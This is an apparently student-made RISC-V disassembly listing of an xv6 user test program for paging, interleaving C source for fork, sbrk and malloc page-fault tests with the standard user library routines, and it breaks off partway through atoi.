ad6: 00001097 auipc ra,0x1 ada: aea080e7 jalr -1302(ra) # 15c0 <printf> } ade: 70a2 ld ra,40(sp) ae0: 7402 ld s0,32(sp) ae2: 64e2 ld s1,24(sp) ae4: 6942 ld s2,16(sp) ae6: 6145 addi sp,sp,48 ae8: 8082 ret aea: 84aa mv s1,a0 int sonAndGrandPgf=0; aec: fc042c23 sw zero,-40(s0) int * memory_pointer = (int*)(malloc(PGSIZE*num)); af0: 6565 lui a0,0x19 af2: 00001097 auipc ra,0x1 af6: b8c080e7 jalr -1140(ra) # 167e <malloc> afa: 892a mv s2,a0 for (i=0; i<PGSIZE*num/sizeof(int); ++i){ afc: 87aa mv a5,a0 afe: 6719 lui a4,0x6 b00: 40070713 addi a4,a4,1024 # 6400 <__global_pointer$+0x3c2f> memory_pointer[i]=i; b04: c384 sw s1,0(a5) for (i=0; i<PGSIZE*num/sizeof(int); ++i){ b06: 2485 addiw s1,s1,1 b08: 0791 addi a5,a5,4 b0a: fee49de3 bne s1,a4,b04 <malloc_test_complicated+0x9a> printf("finished first alloc and giving value\n"); b0e: 00001517 auipc a0,0x1 b12: e2250513 addi a0,a0,-478 # 1930 <malloc+0x2b2> b16: 00001097 auipc ra,0x1 b1a: aaa080e7 jalr -1366(ra) # 15c0 <printf> int cpid2 = fork(); b1e: 00000097 auipc ra,0x0 b22: 71a080e7 jalr 1818(ra) # 1238 <fork> b26: 84aa mv s1,a0 printf("finished second fork\n"); b28: 00001517 auipc a0,0x1 b2c: ee050513 addi a0,a0,-288 # 1a08 <malloc+0x38a> b30: 00001097 auipc ra,0x1 b34: a90080e7 jalr -1392(ra) # 15c0 <printf> if (!cpid2){//grandchild b38: e0a1 bnez s1,b78 <malloc_test_complicated+0x10e> printf("grandchild about to deallocatre the %d pages that were allocated by his parent and inherited to child\n", num); b3a: 45e5 li a1,25 b3c: 00001517 auipc a0,0x1 b40: 19c50513 addi a0,a0,412 # 1cd8 <malloc+0x65a> b44: 00001097 auipc ra,0x1 b48: a7c080e7 jalr -1412(ra) # 15c0 <printf> free(memory_pointer); b4c: 854a mv a0,s2 b4e: 00001097 auipc ra,0x1 b52: aa8080e7 jalr -1368(ra) # 15f6 <free> printf("granchiled deallocated successfully => inheritance works fine\n"); b56: 00001517 auipc a0,0x1 b5a: f8250513 addi a0,a0,-126 # 1ad8 <malloc+0x45a> b5e: 00001097 auipc ra,0x1 b62: a62080e7 jalr -1438(ra) # 15c0 <printf> int pgf2 = setAndGetPageFaultsNum(-1); b66: 557d li a0,-1 b68: 00000097 auipc ra,0x0 b6c: 778080e7 jalr 1912(ra) # 12e0 <setAndGetPageFaultsNum> exit(pgf2); //to keep track of total num of page faults b70: 00000097 auipc ra,0x0 b74: 6d0080e7 jalr 1744(ra) # 1240 <exit> wait(&sonAndGrandPgf); b78: fd840513 addi a0,s0,-40 b7c: 00000097 auipc ra,0x0 b80: 6cc080e7 jalr 1740(ra) # 1248 <wait> free(memory_pointer); b84: 854a mv a0,s2 b86: 00001097 auipc ra,0x1 b8a: a70080e7 jalr -1424(ra) # 15f6 <free> sonAndGrandPgf = sonAndGrandPgf + setAndGetPageFaultsNum(-1); b8e: 557d li a0,-1 b90: 00000097 auipc ra,0x0 b94: 750080e7 jalr 1872(ra) # 12e0 <setAndGetPageFaultsNum> b98: fd842783 lw a5,-40(s0) b9c: 9d3d addw a0,a0,a5 b9e: fca42c23 sw a0,-40(s0) exit(sonAndGrandPgf); ba2: 2501 sext.w a0,a0 ba4: 00000097 auipc ra,0x0 ba8: 69c080e7 jalr 1692(ra) # 1240 <exit> 0000000000000bac <test_goto_bad>: void test_goto_bad(char* test_name){ bac: 715d addi sp,sp,-80 bae: e486 sd ra,72(sp) bb0: e0a2 sd s0,64(sp) bb2: fc26 sd s1,56(sp) bb4: f84a sd s2,48(sp) bb6: f44e sd s3,40(sp) bb8: 0880 addi s0,sp,80 bba: 84aa mv s1,a0 PRINT_START(test_name); bbc: 85aa mv a1,a0 bbe: 00001517 auipc a0,0x1 bc2: baa50513 addi a0,a0,-1110 # 1768 <malloc+0xea> bc6: 00001097 auipc ra,0x1 bca: 9fa080e7 jalr -1542(ra) # 15c0 <printf> int pgf; int i=0; int num=25; int cpid = fork(); bce: 00000097 auipc ra,0x0 bd2: 66a080e7 jalr 1642(ra) # 1238 <fork> if (cpid){//father bd6: c539 beqz a0,c24 <test_goto_bad+0x78> wait(&pgf); bd8: fcc40513 addi a0,s0,-52 bdc: 00000097 auipc ra,0x0 be0: 66c080e7 jalr 1644(ra) # 1248 <wait> sbrk(-PGSIZE*num); printf("finished free\n"); pgf = setAndGetPageFaultsNum(-1); exit(pgf); } test_name_array[9] = test_name; be4: 00001797 auipc a5,0x1 be8: 40478793 addi a5,a5,1028 # 1fe8 <test_name_array> bec: e7a4 sd s1,72(a5) pgf_array[9] = pgf; bee: fcc42603 lw a2,-52(s0) bf2: 0cc7a223 sw a2,196(a5) sum_value= sum_value+pgf; bf6: 00001717 auipc a4,0x1 bfa: 3e270713 addi a4,a4,994 # 1fd8 <sum_value> bfe: 431c lw a5,0(a4) c00: 9fb1 addw a5,a5,a2 c02: c31c sw a5,0(a4) PRINT_END(test_name, pgf); c04: 85a6 mv a1,s1 c06: 00001517 auipc a0,0x1 c0a: b9a50513 addi a0,a0,-1126 # 17a0 <malloc+0x122> c0e: 00001097 auipc ra,0x1 c12: 9b2080e7 jalr -1614(ra) # 15c0 <printf> } c16: 60a6 ld ra,72(sp) c18: 6406 ld s0,64(sp) c1a: 74e2 ld s1,56(sp) c1c: 7942 ld s2,48(sp) c1e: 79a2 ld s3,40(sp) c20: 6161 addi sp,sp,80 c22: 8082 ret int * memory_pointer = (int*)(sbrk(PGSIZE*num)); c24: 6565 lui a0,0x19 c26: 00000097 auipc ra,0x0 c2a: 6a2080e7 jalr 1698(ra) # 12c8 <sbrk> c2e: 84aa mv s1,a0 printf("finished alloc with sbrk and set values\n"); c30: 00001517 auipc a0,0x1 c34: c3050513 addi a0,a0,-976 # 1860 <malloc+0x1e2> c38: 00001097 auipc ra,0x1 c3c: 988080e7 jalr -1656(ra) # 15c0 <printf> for (i=0; i<PGSIZE*num/sizeof(int); ++i){ c40: 8926 mv s2,s1 c42: 69e5 lui s3,0x19 c44: 99a6 add s3,s3,s1 printf("finished alloc with sbrk and set values\n"); c46: 87a6 mv a5,s1 memory_pointer[i]=5; c48: 4715 li a4,5 c4a: c398 sw a4,0(a5) for (i=0; i<PGSIZE*num/sizeof(int); ++i){ c4c: 0791 addi a5,a5,4 c4e: ff379ee3 bne a5,s3,c4a <test_goto_bad+0x9e> char* argv[] = {"test",0}; c52: 00001797 auipc a5,0x1 c56: 0ee78793 addi a5,a5,238 # 1d40 <malloc+0x6c2> c5a: faf43c23 sd a5,-72(s0) c5e: fc043023 sd zero,-64(s0) printf("going to exec\n"); c62: 00001517 auipc a0,0x1 c66: 0e650513 addi a0,a0,230 # 1d48 <malloc+0x6ca> c6a: 00001097 auipc ra,0x1 c6e: 956080e7 jalr -1706(ra) # 15c0 <printf> exec(argv[0],argv); c72: fb840593 addi a1,s0,-72 c76: fb843503 ld a0,-72(s0) c7a: 00000097 auipc ra,0x0 c7e: 5fe080e7 jalr 1534(ra) # 1278 <exec> printf("returned from exec and gonna fill memory :))))\n"); c82: 00001517 auipc a0,0x1 c86: 0d650513 addi a0,a0,214 # 1d58 <malloc+0x6da> c8a: 00001097 auipc ra,0x1 c8e: 936080e7 jalr -1738(ra) # 15c0 <printf> printf("memory_pointer[i]=%d\n", memory_pointer[i]); c92: 00001497 auipc s1,0x1 c96: d5e48493 addi s1,s1,-674 # 19f0 <malloc+0x372> c9a: 00092583 lw a1,0(s2) c9e: 8526 mv a0,s1 ca0: 00001097 auipc ra,0x1 ca4: 920080e7 jalr -1760(ra) # 15c0 <printf> for (i=0; i<PGSIZE*num/sizeof(int); ++i){ ca8: 0911 addi s2,s2,4 caa: ff3918e3 bne s2,s3,c9a <test_goto_bad+0xee> sbrk(-PGSIZE*num); cae: 751d lui a0,0xfffe7 cb0: 00000097 auipc ra,0x0 cb4: 618080e7 jalr 1560(ra) # 12c8 <sbrk> printf("finished free\n"); cb8: 00001517 auipc a0,0x1 cbc: bd850513 addi a0,a0,-1064 # 1890 <malloc+0x212> cc0: 00001097 auipc ra,0x1 cc4: 900080e7 jalr -1792(ra) # 15c0 <printf> pgf = setAndGetPageFaultsNum(-1); cc8: 557d li a0,-1 cca: 00000097 auipc ra,0x0 cce: 616080e7 jalr 1558(ra) # 12e0 <setAndGetPageFaultsNum> cd2: fca42623 sw a0,-52(s0) exit(pgf); cd6: 00000097 auipc ra,0x0 cda: 56a080e7 jalr 1386(ra) # 1240 <exit> 0000000000000cde <ALGO_test>: void ALGO_test(char* test_name){ cde: 715d addi sp,sp,-80 ce0: e486 sd ra,72(sp) ce2: e0a2 sd s0,64(sp) ce4: fc26 sd s1,56(sp) ce6: f84a sd s2,48(sp) ce8: f44e sd s3,40(sp) cea: f052 sd s4,32(sp) cec: ec56 sd s5,24(sp) cee: 0880 addi s0,sp,80 cf0: 84aa mv s1,a0 setAndGetPageFaultsNum(0); // sets num of pagefaults to be zero cf2: 4501 li a0,0 cf4: 00000097 auipc ra,0x0 cf8: 5ec080e7 jalr 1516(ra) # 12e0 <setAndGetPageFaultsNum> PRINT_START(test_name); cfc: 85a6 mv a1,s1 cfe: 00001517 auipc a0,0x1 d02: a6a50513 addi a0,a0,-1430 # 1768 <malloc+0xea> d06: 00001097 auipc ra,0x1 d0a: 8ba080e7 jalr -1862(ra) # 15c0 <printf> int pgf; int i=0; int num=13; int cpid = fork(); d0e: 00000097 auipc ra,0x0 d12: 52a080e7 jalr 1322(ra) # 1238 <fork> if (cpid){//father d16: c929 beqz a0,d68 <ALGO_test+0x8a> wait(&pgf); d18: fbc40513 addi a0,s0,-68 d1c: 00000097 auipc ra,0x0 d20: 52c080e7 jalr 1324(ra) # 1248 <wait> sbrk(-PGSIZE*num); printf("finished free\n"); pgf = setAndGetPageFaultsNum(-1); exit(pgf); } test_name_array[10] = test_name; d24: 00001797 auipc a5,0x1 d28: 2c478793 addi a5,a5,708 # 1fe8 <test_name_array> d2c: eba4 sd s1,80(a5) pgf_array[10] = pgf; d2e: fbc42603 lw a2,-68(s0) d32: 0cc7a423 sw a2,200(a5) sum_value= sum_value+pgf; d36: 00001717 auipc a4,0x1 d3a: 2a270713 addi a4,a4,674 # 1fd8 <sum_value> d3e: 431c lw a5,0(a4) d40: 9fb1 addw a5,a5,a2 d42: c31c sw a5,0(a4) PRINT_END(test_name, pgf); d44: 85a6 mv a1,s1 d46: 00001517 auipc a0,0x1 d4a: a5a50513 addi a0,a0,-1446 # 17a0 <malloc+0x122> d4e: 00001097 auipc ra,0x1 d52: 872080e7 jalr -1934(ra) # 15c0 <printf> } d56: 60a6 ld ra,72(sp) d58: 6406 ld s0,64(sp) d5a: 74e2 ld s1,56(sp) d5c: 7942 ld s2,48(sp) d5e: 79a2 ld s3,40(sp) d60: 7a02 ld s4,32(sp) d62: 6ae2 ld s5,24(sp) d64: 6161 addi sp,sp,80 d66: 8082 ret d68: 892a mv s2,a0 printf("~~~~~~~~~~~~~~son gonna sbrk!!!!!\n"); d6a: 00001517 auipc a0,0x1 d6e: aa650513 addi a0,a0,-1370 # 1810 <malloc+0x192> d72: 00001097 auipc ra,0x1 d76: 84e080e7 jalr -1970(ra) # 15c0 <printf> int * memory_pointer = (int*)(sbrk(PGSIZE*num)); d7a: 6535 lui a0,0xd d7c: 00000097 auipc ra,0x0 d80: 54c080e7 jalr 1356(ra) # 12c8 <sbrk> d84: 89aa mv s3,a0 printf("~~~~~~~~~~~~~~son finish sbrk!!!!!\n"); d86: 00001517 auipc a0,0x1 d8a: ab250513 addi a0,a0,-1358 # 1838 <malloc+0x1ba> d8e: 00001097 auipc ra,0x1 d92: 832080e7 jalr -1998(ra) # 15c0 <printf> printf("~~~~~~~~~~~~~~son gonna change value of last page!!!!!\n"); d96: 00001517 auipc a0,0x1 d9a: ff250513 addi a0,a0,-14 # 1d88 <malloc+0x70a> d9e: 00001097 auipc ra,0x1 da2: 822080e7 jalr -2014(ra) # 15c0 <printf> if(i > PGSIZE*12/sizeof(int)) da6: 00498693 addi a3,s3,4 # 19004 <__global_pointer$+0x16833> for (i=0; i<PGSIZE*num/sizeof(int); ++i){ daa: 874a mv a4,s2 dac: 660d lui a2,0x3 dae: 40060593 addi a1,a2,1024 # 3400 <__global_pointer$+0xc2f> memory_pointer[i]=1; db2: 4505 li a0,1 db4: a011 j db8 <ALGO_test+0xda> db6: 0691 addi a3,a3,4 for (i=0; i<PGSIZE*num/sizeof(int); ++i){ db8: 0017079b addiw a5,a4,1 dbc: 0007871b sext.w a4,a5 dc0: 00b70763 beq a4,a1,dce <ALGO_test+0xf0> if(i > PGSIZE*12/sizeof(int)) dc4: 2781 sext.w a5,a5 dc6: fef678e3 bgeu a2,a5,db6 <ALGO_test+0xd8> memory_pointer[i]=1; dca: c288 sw a0,0(a3) dcc: b7ed j db6 <ALGO_test+0xd8> sleep(2); dce: 4509 li a0,2 dd0: 00000097 auipc ra,0x0 dd4: 500080e7 jalr 1280(ra) # 12d0 <sleep> memory_pointer[12*PGSIZE/sizeof(int)+1]=1; dd8: 67b1 lui a5,0xc dda: 97ce add a5,a5,s3 ddc: 4705 li a4,1 dde: c3d8 sw a4,4(a5) printf("~~~~~~~~~~~~~~son gonna change all values!!!!!\n"); de0: 00001517 auipc a0,0x1 de4: fe050513 addi a0,a0,-32 # 1dc0 <malloc+0x742> de8: 00000097 auipc ra,0x0 dec: 7d8080e7 jalr 2008(ra) # 15c0 <printf> for (i=0; i<PGSIZE*num/sizeof(int); ++i){ df0: 84ce mv s1,s3 printf("num %d: memory_pointer[i]=%d\n", i*4/PGSIZE, memory_pointer[i]); df2: 00001a97 auipc s5,0x1 df6: bf6a8a93 addi s5,s5,-1034 # 19e8 <malloc+0x36a> for (i=0; i<PGSIZE*num/sizeof(int); ++i){ dfa: 6a0d lui s4,0x3 dfc: 400a0a13 addi s4,s4,1024 # 3400 <__global_pointer$+0xc2f> e00: a029 j e0a <ALGO_test+0x12c> e02: 2905 addiw s2,s2,1 e04: 0491 addi s1,s1,4 e06: 03490663 beq s2,s4,e32 <ALGO_test+0x154> memory_pointer[i]=0; e0a: 0004a023 sw zero,0(s1) if(i%(PGSIZE/sizeof(int)) == 0) e0e: 3ff97793 andi a5,s2,1023 e12: fbe5 bnez a5,e02 <ALGO_test+0x124> printf("num %d: memory_pointer[i]=%d\n", i*4/PGSIZE, memory_pointer[i]); e14: 41f9559b sraiw a1,s2,0x1f e18: 0165d59b srliw a1,a1,0x16 e1c: 012585bb addw a1,a1,s2 e20: 4601 li a2,0 e22: 40a5d59b sraiw a1,a1,0xa e26: 8556 mv a0,s5 e28: 00000097 auipc ra,0x0 e2c: 798080e7 jalr 1944(ra) # 15c0 <printf> e30: bfc9 j e02 <ALGO_test+0x124> sleep(1); e32: 4505 li a0,1 e34: 00000097 auipc ra,0x0 e38: 49c080e7 jalr 1180(ra) # 12d0 <sleep> memory_pointer[10*PGSIZE/sizeof(int)+1]=1; e3c: 67a9 lui a5,0xa e3e: 99be add s3,s3,a5 e40: 4785 li a5,1 e42: 00f9a223 sw a5,4(s3) printf("\nfinished alloc with sbrk and set values\n"); e46: 00001517 auipc a0,0x1 e4a: faa50513 addi a0,a0,-86 # 1df0 <malloc+0x772> e4e: 00000097 auipc ra,0x0 e52: 772080e7 jalr 1906(ra) # 15c0 <printf> sbrk(-PGSIZE*num); e56: 754d lui a0,0xffff3 e58: 00000097 auipc ra,0x0 e5c: 470080e7 jalr 1136(ra) # 12c8 <sbrk> printf("finished free\n"); e60: 00001517 auipc a0,0x1 e64: a3050513 addi a0,a0,-1488 # 1890 <malloc+0x212> e68: 00000097 auipc ra,0x0 e6c: 758080e7 jalr 1880(ra) # 15c0 <printf> pgf = setAndGetPageFaultsNum(-1); e70: 557d li a0,-1 e72: 00000097 auipc ra,0x0 e76: 46e080e7 jalr 1134(ra) # 12e0 <setAndGetPageFaultsNum> e7a: faa42e23 sw a0,-68(s0) exit(pgf); e7e: 00000097 auipc ra,0x0 e82: 3c2080e7 jalr 962(ra) # 1240 <exit> 0000000000000e86 <main>: int main(int argc, char *argv[]) { e86: 7179 addi sp,sp,-48 e88: f406 sd ra,40(sp) e8a: f022 sd s0,32(sp) e8c: ec26 sd s1,24(sp) e8e: e84a sd s2,16(sp) e90: e44e sd s3,8(sp) e92: e052 sd s4,0(sp) e94: 1800 addi s0,sp,48 //test_goto_bad("test_goto_bad"); for(int i=0; i<20; i++){test_name_array[i]=0;} e96: 00001497 auipc s1,0x1 e9a: 15248493 addi s1,s1,338 # 1fe8 <test_name_array> e9e: 00001997 auipc s3,0x1 ea2: 1ea98993 addi s3,s3,490 # 2088 <pgf_array> { ea6: 87a6 mv a5,s1 for(int i=0; i<20; i++){test_name_array[i]=0;} ea8: 0007b023 sd zero,0(a5) # a000 <__global_pointer$+0x782f> eac: 07a1 addi a5,a5,8 eae: ff379de3 bne a5,s3,ea8 <main+0x22> basic_fork_test("basic_fork_test"); eb2: 00001517 auipc a0,0x1 eb6: f6e50513 addi a0,a0,-146 # 1e20 <malloc+0x7a2> eba: fffff097 auipc ra,0xfffff ebe: 146080e7 jalr 326(ra) # 0 <basic_fork_test> sbrk_test_son("sbrk_test_son"); ec2: 00001517 auipc a0,0x1 ec6: f6e50513 addi a0,a0,-146 # 1e30 <malloc+0x7b2> eca: fffff097 auipc ra,0xfffff ece: 1e0080e7 jalr 480(ra) # aa <sbrk_test_son> sbrk_test_father("sbrk_test_father"); ed2: 00001517 auipc a0,0x1 ed6: f6e50513 addi a0,a0,-146 # 1e40 <malloc+0x7c2> eda: fffff097 auipc ra,0xfffff ede: 3ee080e7 jalr 1006(ra) # 2c8 <sbrk_test_father> double_sbrk_test_son("double_sbrk_test_son"); ee2: 00001517 auipc a0,0x1 ee6: f7650513 addi a0,a0,-138 # 1e58 <malloc+0x7da> eea: fffff097 auipc ra,0xfffff eee: 48c080e7 jalr 1164(ra) # 376 <double_sbrk_test_son> sbrk_not_multiply_of_PGSIZE("sbrk_not_multiply_of_PGSIZE"); ef2: 00001517 auipc a0,0x1 ef6: f7e50513 addi a0,a0,-130 # 1e70 <malloc+0x7f2> efa: fffff097 auipc ra,0xfffff efe: 2a6080e7 jalr 678(ra) # 1a0 <sbrk_not_multiply_of_PGSIZE> complicated_sbrk("complicated_sbrk"); f02: 00001517 auipc a0,0x1 f06: f8e50513 addi a0,a0,-114 # 1e90 <malloc+0x812> f0a: fffff097 auipc ra,0xfffff f0e: 5d4080e7 jalr 1492(ra) # 4de <complicated_sbrk> //maxpages_switch("maxpages_switch"); malloc_test_simple("malloc_test_simple"); f12: 00001517 auipc a0,0x1 f16: f9650513 addi a0,a0,-106 # 1ea8 <malloc+0x82a> f1a: 00000097 auipc ra,0x0 f1e: 952080e7 jalr -1710(ra) # 86c <malloc_test_simple> malloc_test_not_multiply_of_PGSIZE("malloc_test_not_multiply_of_PGSIZE"); f22: 00001517 auipc a0,0x1 f26: f9e50513 addi a0,a0,-98 # 1ec0 <malloc+0x842> f2a: 00000097 auipc ra,0x0 f2e: a28080e7 jalr -1496(ra) # 952 <malloc_test_not_multiply_of_PGSIZE> malloc_test_complicated("malloc_test_complicated"); f32: 00001517 auipc a0,0x1 f36: fb650513 addi a0,a0,-74 # 1ee8 <malloc+0x86a> f3a: 00000097 auipc ra,0x0 f3e: b30080e7 jalr -1232(ra) # a6a <malloc_test_complicated> ALGO_test("ALGO_test"); f42: 00001517 auipc a0,0x1 f46: fbe50513 addi a0,a0,-66 # 1f00 <malloc+0x882> f4a: 00000097 auipc ra,0x0 f4e: d94080e7 jalr -620(ra) # cde <ALGO_test> //sum up printf("\n ~~~~~~~~~~~\n~~~~~~~~~~~ ~~~~~~~~~~~\n"); f52: 00001517 auipc a0,0x1 f56: fbe50513 addi a0,a0,-66 # 1f10 <malloc+0x892> f5a: 00000097 auipc ra,0x0 f5e: 666080e7 jalr 1638(ra) # 15c0 <printf> printf("\n SUMMARY\n"); f62: 00001517 auipc a0,0x1 f66: fe650513 addi a0,a0,-26 # 1f48 <malloc+0x8ca> f6a: 00000097 auipc ra,0x0 f6e: 656080e7 jalr 1622(ra) # 15c0 <printf> for(int i=0; i<20; i++){ f72: 00001917 auipc s2,0x1 f76: 11690913 addi s2,s2,278 # 2088 <pgf_array> if(test_name_array[i]!=0){ printf("%s: %d\n", test_name_array[i], pgf_array[i]); f7a: 00001a17 auipc s4,0x1 f7e: fe6a0a13 addi s4,s4,-26 # 1f60 <malloc+0x8e2> f82: a821 j f9a <main+0x114> f84: 00092603 lw a2,0(s2) f88: 8552 mv a0,s4 f8a: 00000097 auipc ra,0x0 f8e: 636080e7 jalr 1590(ra) # 15c0 <printf> for(int i=0; i<20; i++){ f92: 04a1 addi s1,s1,8 f94: 0911 addi s2,s2,4 f96: 01348563 beq s1,s3,fa0 <main+0x11a> if(test_name_array[i]!=0){ f9a: 608c ld a1,0(s1) f9c: f5e5 bnez a1,f84 <main+0xfe> f9e: bfd5 j f92 <main+0x10c> } } printf("\n SUM: %d\n", sum_value); fa0: 00001597 auipc a1,0x1 fa4: 0385a583 lw a1,56(a1) # 1fd8 <sum_value> fa8: 00001517 auipc a0,0x1 fac: fc850513 addi a0,a0,-56 # 1f70 <malloc+0x8f2> fb0: 00000097 auipc ra,0x0 fb4: 610080e7 jalr 1552(ra) # 15c0 <printf> printf("\n~~~~~~~~~~~ ~~~~~~~~~~~\n ~~~~~~~~~~~\n"); fb8: 00001517 auipc a0,0x1 fbc: fc850513 addi a0,a0,-56 # 1f80 <malloc+0x902> fc0: 00000097 auipc ra,0x0 fc4: 600080e7 jalr 1536(ra) # 15c0 <printf> exit(0); fc8: 4501 li a0,0 fca: 00000097 auipc ra,0x0 fce: 276080e7 jalr 630(ra) # 1240 <exit> 0000000000000fd2 <strcpy>: #include "kernel/fcntl.h" #include "user/user.h" char* strcpy(char *s, const char *t) { fd2: 1141 addi sp,sp,-16 fd4: e422 sd s0,8(sp) fd6: 0800 addi s0,sp,16 char *os; os = s; while((*s++ = *t++) != 0) fd8: 87aa mv a5,a0 fda: 0585 addi a1,a1,1 fdc: 0785 addi a5,a5,1 fde: fff5c703 lbu a4,-1(a1) fe2: fee78fa3 sb a4,-1(a5) fe6: fb75 bnez a4,fda <strcpy+0x8> ; return os; } fe8: 6422 ld s0,8(sp) fea: 0141 addi sp,sp,16 fec: 8082 ret 0000000000000fee <strcmp>: int strcmp(const char *p, const char *q) { fee: 1141 addi sp,sp,-16 ff0: e422 sd s0,8(sp) ff2: 0800 addi s0,sp,16 while(*p && *p == *q) ff4: 00054783 lbu a5,0(a0) ff8: cb91 beqz a5,100c <strcmp+0x1e> ffa: 0005c703 lbu a4,0(a1) ffe: 00f71763 bne a4,a5,100c <strcmp+0x1e> p++, q++; 1002: 0505 addi a0,a0,1 1004: 0585 addi a1,a1,1 while(*p && *p == *q) 1006: 00054783 lbu a5,0(a0) 100a: fbe5 bnez a5,ffa <strcmp+0xc> return (uchar)*p - (uchar)*q; 100c: 0005c503 lbu a0,0(a1) } 1010: 40a7853b subw a0,a5,a0 1014: 6422 ld s0,8(sp) 1016: 0141 addi sp,sp,16 1018: 8082 ret 000000000000101a <strlen>: uint strlen(const char *s) { 101a: 1141 addi sp,sp,-16 101c: e422 sd s0,8(sp) 101e: 0800 addi s0,sp,16 int n; for(n = 0; s[n]; n++) 1020: 00054783 lbu a5,0(a0) 1024: cf91 beqz a5,1040 <strlen+0x26> 1026: 0505 addi a0,a0,1 1028: 87aa mv a5,a0 102a: 4685 li a3,1 102c: 9e89 subw a3,a3,a0 102e: 00f6853b addw a0,a3,a5 1032: 0785 addi a5,a5,1 1034: fff7c703 lbu a4,-1(a5) 1038: fb7d bnez a4,102e <strlen+0x14> ; return n; } 103a: 6422 ld s0,8(sp) 103c: 0141 addi sp,sp,16 103e: 8082 ret for(n = 0; s[n]; n++) 1040: 4501 li a0,0 1042: bfe5 j 103a <strlen+0x20> 0000000000001044 <memset>: void* memset(void *dst, int c, uint n) { 1044: 1141 addi sp,sp,-16 1046: e422 sd s0,8(sp) 1048: 0800 addi s0,sp,16 char *cdst = (char *) dst; int i; for(i = 0; i < n; i++){ 104a: ca19 beqz a2,1060 <memset+0x1c> 104c: 87aa mv a5,a0 104e: 1602 slli a2,a2,0x20 1050: 9201 srli a2,a2,0x20 1052: 00a60733 add a4,a2,a0 cdst[i] = c; 1056: 00b78023 sb a1,0(a5) for(i = 0; i < n; i++){ 105a: 0785 addi a5,a5,1 105c: fee79de3 bne a5,a4,1056 <memset+0x12> } return dst; } 1060: 6422 ld s0,8(sp) 1062: 0141 addi sp,sp,16 1064: 8082 ret 0000000000001066 <strchr>: char* strchr(const char *s, char c) { 1066: 1141 addi sp,sp,-16 1068: e422 sd s0,8(sp) 106a: 0800 addi s0,sp,16 for(; *s; s++) 106c: 00054783 lbu a5,0(a0) 1070: cb99 beqz a5,1086 <strchr+0x20> if(*s == c) 1072: 00f58763 beq a1,a5,1080 <strchr+0x1a> for(; *s; s++) 1076: 0505 addi a0,a0,1 1078: 00054783 lbu a5,0(a0) 107c: fbfd bnez a5,1072 <strchr+0xc> return (char*)s; return 0; 107e: 4501 li a0,0 } 1080: 6422 ld s0,8(sp) 1082: 0141 addi sp,sp,16 1084: 8082 ret return 0; 1086: 4501 li a0,0 1088: bfe5 j 1080 <strchr+0x1a> 000000000000108a <gets>: char* gets(char *buf, int max) { 108a: 711d addi sp,sp,-96 108c: ec86 sd ra,88(sp) 108e: e8a2 sd s0,80(sp) 1090: e4a6 sd s1,72(sp) 1092: e0ca sd s2,64(sp) 1094: fc4e sd s3,56(sp) 1096: f852 sd s4,48(sp) 1098: f456 sd s5,40(sp) 109a: f05a sd s6,32(sp) 109c: ec5e sd s7,24(sp) 109e: 1080 addi s0,sp,96 10a0: 8baa mv s7,a0 10a2: 8a2e mv s4,a1 int i, cc; char c; for(i=0; i+1 < max; ){ 10a4: 892a mv s2,a0 10a6: 4481 li s1,0 cc = read(0, &c, 1); if(cc < 1) break; buf[i++] = c; if(c == '\n' || c == '\r') 10a8: 4aa9 li s5,10 10aa: 4b35 li s6,13 for(i=0; i+1 < max; ){ 10ac: 89a6 mv s3,s1 10ae: 2485 addiw s1,s1,1 10b0: 0344d863 bge s1,s4,10e0 <gets+0x56> cc = read(0, &c, 1); 10b4: 4605 li a2,1 10b6: faf40593 addi a1,s0,-81 10ba: 4501 li a0,0 10bc: 00000097 auipc ra,0x0 10c0: 19c080e7 jalr 412(ra) # 1258 <read> if(cc < 1) 10c4: 00a05e63 blez a0,10e0 <gets+0x56> buf[i++] = c; 10c8: faf44783 lbu a5,-81(s0) 10cc: 00f90023 sb a5,0(s2) if(c == '\n' || c == '\r') 10d0: 01578763 beq a5,s5,10de <gets+0x54> 10d4: 0905 addi s2,s2,1 10d6: fd679be3 bne a5,s6,10ac <gets+0x22> for(i=0; i+1 < max; ){ 10da: 89a6 mv s3,s1 10dc: a011 j 10e0 <gets+0x56> 10de: 89a6 mv s3,s1 break; } buf[i] = '\0'; 10e0: 99de add s3,s3,s7 10e2: 00098023 sb zero,0(s3) return buf; } 10e6: 855e mv a0,s7 10e8: 60e6 ld ra,88(sp) 10ea: 6446 ld s0,80(sp) 10ec: 64a6 ld s1,72(sp) 10ee: 6906 ld s2,64(sp) 10f0: 79e2 ld s3,56(sp) 10f2: 7a42 ld s4,48(sp) 10f4: 7aa2 ld s5,40(sp) 10f6: 7b02 ld s6,32(sp) 10f8: 6be2 ld s7,24(sp) 10fa: 6125 addi sp,sp,96 10fc: 8082 ret 00000000000010fe <stat>: int stat(const char *n, struct stat *st) { 10fe: 1101 addi sp,sp,-32 1100: ec06 sd ra,24(sp) 1102: e822 sd s0,16(sp) 1104: e426 sd s1,8(sp) 1106: e04a sd s2,0(sp) 1108: 1000 addi s0,sp,32 110a: 892e mv s2,a1 int fd; int r; fd = open(n, O_RDONLY); 110c: 4581 li a1,0 110e: 00000097 auipc ra,0x0 1112: 172080e7 jalr 370(ra) # 1280 <open> if(fd < 0) 1116: 02054563 bltz a0,1140 <stat+0x42> 111a: 84aa mv s1,a0 return -1; r = fstat(fd, st); 111c: 85ca mv a1,s2 111e: 00000097 auipc ra,0x0 1122: 17a080e7 jalr 378(ra) # 1298 <fstat> 1126: 892a mv s2,a0 close(fd); 1128: 8526 mv a0,s1 112a: 00000097 auipc ra,0x0 112e: 13e080e7 jalr 318(ra) # 1268 <close> return r; } 1132: 854a mv a0,s2 1134: 60e2 ld ra,24(sp) 1136: 6442 ld s0,16(sp) 1138: 64a2 ld s1,8(sp) 113a: 6902 ld s2,0(sp) 113c: 6105 addi sp,sp,32 113e: 8082 ret return -1; 1140: 597d li s2,-1 1142: bfc5 j 1132 <stat+0x34> 0000000000001144 <atoi>: int atoi(const char *s) { 1144: 1141 addi sp,sp,-16 1146: e422 sd s0,8(sp) 1148: 0800 addi s0,sp,16 int n; n = 0; while('0' <= *s && *s <= '9') 114a: 00054603 lbu a2,0(a0) 114e: fd06079b addiw a5,a2,-48 1152: 0ff7f793 andi a5,a5,255 1156: 4725 li a4,9 1158: 02f76963 bltu a4,a5,118a <atoi+0x46> 115c: 86aa mv a3,a0 n = 0; 115e: 4501 li a0,0 while('0' <= *s && *s <= '9') 1160: 45a5 li a1,9 n = n*10 + *s++ - '0'; 1162: 0685 addi a3,a3,1 1164: 0025179b slliw a5,a0,0x2 1168: 9fa9 addw a5,a5,a0 116a: 0017979b slliw a5,a5,0x1 116e: 9fb1 addw a5,a5,a2 